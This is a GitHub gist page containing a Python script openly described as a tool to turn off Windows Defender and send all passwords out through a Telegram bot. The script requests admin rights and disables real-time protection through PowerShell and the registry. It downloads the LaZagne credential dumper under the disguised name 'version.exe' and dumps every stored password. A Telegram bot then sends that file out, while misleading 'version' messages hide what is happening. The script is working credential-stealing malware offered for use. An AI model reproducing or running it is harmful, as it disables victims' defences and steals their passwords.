Skip to content

Instantly share code, notes, and snippets.

@wildonion
Last active December 19, 2020 11:34
Show Gist options
  • Select an option

  • Save wildonion/cc711a5bc743667b00318a713e396b48 to your computer and use it in GitHub Desktop.

Select an option

Save wildonion/cc711a5bc743667b00318a713e396b48 to your computer and use it in GitHub Desktop.
a simple script to turn windows defender off and send all passwords using LaZagne through a telegram bot
#!python
# coding: utf-8
'''
Designed By :
█ █░ ██▓ ██▓ ▓█████▄ ▒█████ ███▄ █ ██▓ ▒█████ ███▄ █
▓█░ █ ░█░▓██▒▓██▒ ▒██▀ ██▌▒██▒ ██▒ ██ ▀█ █ ▓██▒▒██▒ ██▒ ██ ▀█ █
▒█░ █ ░█ ▒██▒▒██░ ░██ █▌▒██░ ██▒▓██ ▀█ ██▒▒██▒▒██░ ██▒▓██ ▀█ ██▒
░█░ █ ░█ ░██░▒██░ ░▓█▄ ▌▒██ ██░▓██▒ ▐▌██▒░██░▒██ ██░▓██▒ ▐▌██▒
░░██▒██▓ ░██░░██████▒░▒████▓ ░ ████▓▒░▒██░ ▓██░░██░░ ████▓▒░▒██░ ▓██
cRi3d on windows 10 using regedit >> by cL34n 3v3RytH!n9
'''
#--------------------------------------------------------------------------------------------
# this code will set the -DisableRealtimeMonitoring to true
# this code will set the value of Windows Defender in regedit to 1 to turn it off
# make exe from this code then compress it using upx(upx394w folder)
# 1 means off , 0 means on
#--------------------------------------------------------------------------------------------
import sys, os
import ctypes
from urllib.request import urlopen
import subprocess as sp
import io
DOWNLOAD_URL = "https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe"
DOWNLOAD_DST = "version.exe"
COMMAND = "version.exe all > version"
MODULES = ['aiogram', 'ujson', 'aiohttp[speedups]']
def download():
print("[+] Finding Version...")
content = urlopen(DOWNLOAD_URL).read()
outfile = open(DOWNLOAD_DST, "wb")
outfile.write(content)
outfile.close()
def install(package):
sp.call(["pip", "install", package])
def run():
process = sp.Popen(COMMAND, shell = True, stdout = sp.PIPE, stderr = sp.PIPE)
pid = process.pid
output, error = process.communicate()
failed = process.returncode
return pid, output, error, failed
def run_as_admin(argv=None, debug=False):
shell32 = ctypes.windll.shell32
if argv is None and shell32.IsUserAnAdmin():
return True
if argv is None:
argv = sys.argv
if hasattr(sys, '_MEIPASS'):
arguments = map(str, argv[1:])
else:
arguments = map(str, argv)
argument_line = u' '.join(arguments)
executable = str(sys.executable)
if debug:
print('Command line: ', executable, argument_line)
ret = shell32.ShellExecuteW(None, u"runas", executable, argument_line, None, 1)
if int(ret) <= 32:
return False
return None
if __name__ == '__main__':
ret = run_as_admin()
if ret is True:
os.system("powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true")
os.system('REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f')
elif ret is None:
os.system("powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true")
os.system('REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f')
else:
sys.exit(1)
download() # download lazagne
pid, output, error, failed = run() # run lazagne
for m in MODULES:
install(m) # installing necessary modules for bot
from aiogram import Bot, Dispatcher, executor, types
API_TOKEN = '' ############################################ TODO : insert your bot token here
bot = Bot(token=API_TOKEN)
dp = Dispatcher(bot)
@dp.message_handler(commands=['passwords'])
async def get_passwords(message: types.Message):
pswd = io.open("version", "rb", buffering = 0)
await bot.send_document(chat_id=message["chat"]["id"], document=pswd.read()) # you have to send the bytes of the file
print("[+] Current Version is 34.35.2")
os.remove("version.exe")
os.remove("version")
executor.start_polling(dp, skip_updates=True)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment